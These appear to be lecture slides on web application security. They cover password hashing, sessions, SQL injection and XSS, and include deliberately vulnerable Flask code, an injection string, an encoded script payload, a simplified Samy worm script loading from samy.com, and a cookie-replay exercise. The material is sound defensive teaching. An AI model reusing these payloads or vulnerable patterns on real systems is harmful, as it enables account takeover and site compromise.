User account and security
Security attacks overview
User negligence
80%
System misconception
20%
Cryptographic attacks
0.1%
Security attacks overview
User negligence
80%
System misconception
20%
Cryptographic attacks
0.1%
- Passwords written on a board... on TV!
- Users not logged out
- ...
This lecture!
Specialized Master Degree
Register
Login
User actions
Register
Login
User actions
Corrupted DB: Password theft
Username | Password |
---|---|
Ford | 12345 |
Arthur | foO |
Marvin | 12345 |
... | ... |
... | ... |
Database can be see by:
- employees or their relatives,
- pirates,
- ...
Username | Password |
---|---|
Ford | 12345 |
Arthur | foO |
Marvin | 12345 |
... | ... |
... | ... |
Database can be see by:
- employees or their relatives,
- pirates,
- ...
Hash functions
Hash: Text
Digest
Easy
Almost impossible
Example: 12345
Fa54Qx
Username | Password hash |
---|---|
Ford | Fa54Qx |
Arthur | dQ5Lx4 |
Marvin | Fa54Qx |
... | ... |
... | ... |
Store hashed password
Authentification
username: Ford
password: 12345
Authentification
username: Ford
password: 12345
Check
hash(12345)=FA54QX
Authentification
username: Ford
password: 12345
Your are logged in!
Check
hash(12345)=FA54QX
Authentification
username: Ford
password: 12345
Check
hash(12345)=FA54QX
Your are logged in!
HTTPS
Username | Password hash |
---|---|
Ford | Fa54Qx |
Arthur | dQ5Lx4 |
Marvin | Fa54Qx |
... | ... |
... | ... |
Store hashed password
Username | Password hash |
---|---|
Ford | Fa54Qx |
Arthur | dQ5Lx4 |
Marvin | Fa54Qx |
... | ... |
... | ... |
Store hashed password
Rainbow tables, brute force attack, ...
Add random salt
hash(1UV+s12345) ➡️ XzbA3
random salt
user password
store in database:
1UV+sXzbA3
digest
Username | Password hash |
---|---|
Ford | 1UV+sXzbA3 |
Arthur | rpoDi5QlxA |
Marvin | E+xkLq5x1s |
... | ... |
... | ... |
Store salted and hashed password
Username | Password hash |
---|---|
Ford | 1UV+sXzbA3 |
Arthur | rpoDi5QlxA |
Marvin | E+xkLq5x1s |
... | ... |
... | ... |
Store salted and hashed password
digest
random salt
Authentification
username: Ford
password: 12345
Your are logged in!
Check
hash(1UV+s12345) = XzbA3
In Python/Flask
from werkzeug.security import (
generate_password_hash, check_password_hash)
# In registration handler:
pwd = "12345"
pwd_hash = generate_password_hash(pwd)
# In login handler:
pwd = form["pwd"]
if check_password_hash(pwd_hash, pwd):
return "Logged in!"
return "Wrong credentials", 401
Register
Login
User actions
Corrupted DB: Password theft
Hash passwords
Session
Bunch of data to identify a user (mainly username)
Session
Bunch of data to identify a user (mainly username)
Ephemeral to mitigate the session hijacking!
Two techniques
-
Session on server
-
Session in cookies
Session on server
- Data stored on the server (file, memory, database...)
- Each session has an identifier (sid, id, ...)
- This identifier is often exchanged via cookies
Session on server
- Data stored on the server (file, memory, database...)
- Each session has an identifier (sid, id, ...)
- This identifier is often exchanged via cookies
Pros:
- small amount exchanged (cookies are sent at each request)
- no size limit on data
Cons:
- need to store data server side (can be complicated in case of distributed servers)
Session in cookies
- Data stored in cookie
- Session data can be read client-side but not written thanks to cryptographic mechanism (signature).
Session in cookies
- Data stored in cookie
- Session data can be read client-side but not written thanks to cryptographic mechanism (signature).
Cons:
- consequent amount exchanged (cookies are sent at each request)
- each request cannot exceed 4kb
Pros:
- no state at all on the server!
Cookies: sid=aJ5Ke5;__utma=142543.221.52;__utmz=521441
http://my-site.com
Cookies: ssid=5aKa47ec;alert=false;v=0.19
http://example.com
Cookies: __utma=98465.316542213.65;__utmz=152357.6368432
http://bingo.org
are used to identify users
Cookies: sid=aJ5Ke5;__utma=142543.221.52;__utmz=521441
http://my-site.com
Cookies: ssid=5aKa47ec;alert=false;v=0.19
http://example.com
Cookies: __utma=98465.316542213.65;__utmz=152357.6368432
http://bingo.org
HttpOnly cookies
can not be read from JS
Hands on!
(easier on Firefox)
- Open a website on which you are logged in
- Open "developer tools" (F12) and select tab "Network"
- Reload the page and select the very first request
- Copy the line "Cookie : ..." from the request headers
- Open a private session (Ctrl + Shift + P)
- Visit the same website as in 1.
- Open the tab "Network" of "developer tools"
- Reload the page
- Select the very first request and modify it by pasting
the "Cookie: ... " line, then click on "send" - A new request has been issued: select it and click on "Response"... Tada!
In Python/Flask
Plugin Flask-login
(see tutorials)
Register
Login
User actions
Corrupted DB: Password theft
session hijacking
Hash passwords
Ephemeral sessions
SQL injections
Innocent (?) code
name = form["name"]
pwd = form["pwd"]
cur.execute("SELECT * FROM users WHERE username='" + name
+ "' AND pwd='" + pwd + "'")
Innocent (?) code
name = form["name"] # "Ford"
pwd = form["pwd"] # "12345"
cur.execute("SELECT * FROM users WHERE username='" + name
+ "' AND pwd='" + pwd + "'")
SELECT *
FROM users
WHERE username='Ford' AND pwd='12345'
Results in:
Innocent (?) code
name = form["name"] # "root'; --"
pwd = form["pwd"] # "AHAHA"
cur.execute("SELECT * FROM users WHERE username='" + name
+ "' AND pwd='" + pwd + "'")
Results in:
SQL Injection!
name = form["name"] # "root'; --"
pwd = form["pwd"] # "AHAHA"
cur.execute("SELECT * FROM users WHERE username='" + name
+ "' AND pwd='" + pwd + "'")
SELECT *
FROM users
WHERE username='root';--' AND pwd='AHAHA'
Results in:
name = form["name"]
pwd = form["pwd"]
cur.execute("SELECT * FROM users WHERE username='" + name
+ "' AND pwd='" + pwd + "'")
SQL Injection!
name = form["name"]
pwd = form["pwd"]
cur.execute("SELECT * FROM users WHERE username='" + name
+ "' AND pwd='" + pwd + "'")
SQL Injection!
Note: you even should not store passwords this way
SQL Injection!
https://xkcd.com/327/
Solution: query builder
name = form["name"]
pwd = form["pwd"]
cur.execute("""SELECT *
FROM users
WHERE username=? AND pwd=?
""", (name, pwd))
Solution: query builder
name = form["name"] # "root"
pwd = form["pwd"] # "AHAHA"
cur.execute("""SELECT *
FROM users
WHERE username=? AND pwd=?
""", (name, pwd))
The special SQL characters are escaped:
SELECT *
FROM users
WHERE username='root\';--' AND pwd='AHAHA'
Register
Login
User actions
Corrupted DB: Password theft
session hijacking
SQL injections
Hash passwords
Ephemeral sessions
Query builder
Register
Login
User actions
Corrupted DB: Password theft
session hijacking
SQL injections
Hash passwords
Ephemeral sessions
Query builder
Corrupt the server
Register
Login
User actions
Corrupted DB: Password theft
session hijacking
SQL injections
Hash passwords
Ephemeral sessions
Query builder
User action:
the basics
Never trust user input
Never trust user input
"Delete the post with id 42"
Never trust user input
"Delete the post with id 42"
"Nope, you don't
own this post!"
Never trust user input
Never trust user input
"Move ♜ from A8 to E5"
Never trust user input
"Move ♜ from A8 to E5"
"Err... Learn the rules of chess!"
Register
Login
User actions
Corrupted DB: Password theft
session hijacking
SQL injections
Hash passwords
Ephemeral sessions
Query builder
XSS attacks
Register
Login
User actions
Corrupted DB: Password theft
session hijacking
SQL injections
Hash passwords
Ephemeral sessions
Query builder
XSS attacks
Corrupt the client
XSS
Pirate making user run malicious JS
@app.route("/", methods=["GET"])
def hello():
name = request.args['name']
return "Hello " + name + "!"
Innocent (?) handler
@app.route("/", methods=["GET"])
def hello():
name = request.args['name']
return "Hello " + name + "!"
Innocent (?) handler
<script>
publish("Powned!")
</script>
1. URL-encode
<p>Hey folks!</p>
<p>Check out my
<a href="...">
new website!</a>
</p>
2. Send this email
%3Cscript%3E%0A%20%20publ
ish%28%22Powned%21%22%29%
0A%3C%2Fscript%3E
1. sends the link via emails or publishes it on a website
2. clicks on the link
3. Generates the malicious HTML code
4. sends back the HTML code
5. runs the code and performs AJAX call
6. Actually publishes the comment
Variation
The malicious code is in DB
1. My name is
"Zaphod<script>
set_name('powned!');</script>"
1. My name is
"Zaphod<script>
set_name('powned!');</script>"
2. Asks for Zaphod's page
1. My name is
"Zaphod<script>
set_name('powned!');</script>"
2. Asks for Zaphod's page
3. Generates the malicious HTML code
1. My name is
"Zaphod<script>
set_name('powned!');</script>"
2. Asks for Zaphod's page
3. Generates the malicious HTML code
4. sends back the HTML code
Real world Example
Worm Samy on MySpace
MySpace
Social network, users can provide a description
Schematic overview
Real worm was much more complex: MySpace did perform some partial escaping.
1. Samy set his description to:
I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
");
2. Samy serves this file at: http://samy.com/worm.js
1. Samy set his description to:
I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
");
2. Samy serves this file at: http://samy.com/worm.js
3. Bob sees Samy's page, he is now friend with Samy and his description is set to:
Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
1. Samy set his description to:
I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
");
2. Samy serves this file at: http://samy.com/worm.js
3. Bob sees Samy's page, he is now friend with Samy and his description is set to:
Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
1. Samy set his description to:
I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
");
2. Samy serves this file at: http://samy.com/worm.js
3. Bob sees Samy's page, he is now friend with Samy and his description is set to:
Samy is my hero
<script src="http://samy.com/worm.js'>
</script>
3. Bob sees Samy's page, he is now friend with Samy and his description is set to:
4. Then, Alice sees Bob's page, she is now friend with Samy and her description is set to:
Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
");
2. Samy serves this file at: http://samy.com/worm.js
3. Bob sees Samy's page, he is now friend with Samy and his description is set to:
4. Then, Alice sees Bob's page, she is now friend with Samy and her description is set to:
Each infected profile infects all his visitors!
Exponential growth!
Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
Samy is my hero
<script src='http://samy.com/worm.js'>
</script>
10/04, 12:34 pm: 73 friends.
1 hour later, 1:30 am: 73 friends and 1 friend request.
7 hours later, 8:35 am: 74 friends and 221 friend requests.
1 hour later, 9:30 am: 74 friends and 480 friend requests.
1 hour later, 10:30 am: 518 friends and 561 friend requests.
3 hours later, 1:30 pm: 2,503 friends and 6,373 friend requests.
5 hours later, 6:20 pm: 2,503 friends. 917,084 friend requests.
1 hour later, 7:05 pm: MySpace is down.
One million profiles infected in 20h.
source : https://samy.pl/myspace/
Solutions
-
Server-side: HTML templates engines
-
Client-side: Javascript frameworks
(see tutorials)
Never directly write HTML in Python
Use document.createTextNode in JS to insert text
Or use frameworks like React, Vuejs, Angular.
Event better, use a language compiling to JavaScript like Elm, ReasonML, PureScript.
Register
Login
User actions
Corrupted DB: Password theft
session hijacking
SQL injections
XSS attacks
Hash passwords
Ephemeral sessions
Query builder
- HTML Templates
- JS frameworks
Security attacks overview
User negligence
80%
System misconception
20%
Cryptographic attacks
0.1%
- Passwords written on a board... on TV!
- Users not logged out
- ...
This lecture!
Specialized Master Degree
Security attacks overview
User negligence
80%
System misconception
20%
Cryptographic attacks
0.1%
- Passwords written on a board... on TV!
- Users not logged out
- ...
This lecture!
Specialized Master Degree
Developper negligence
Use battle tested tools
Never trust
user input
User account and security - TWTS 05
By sebbes
User account and security - TWTS 05
- 962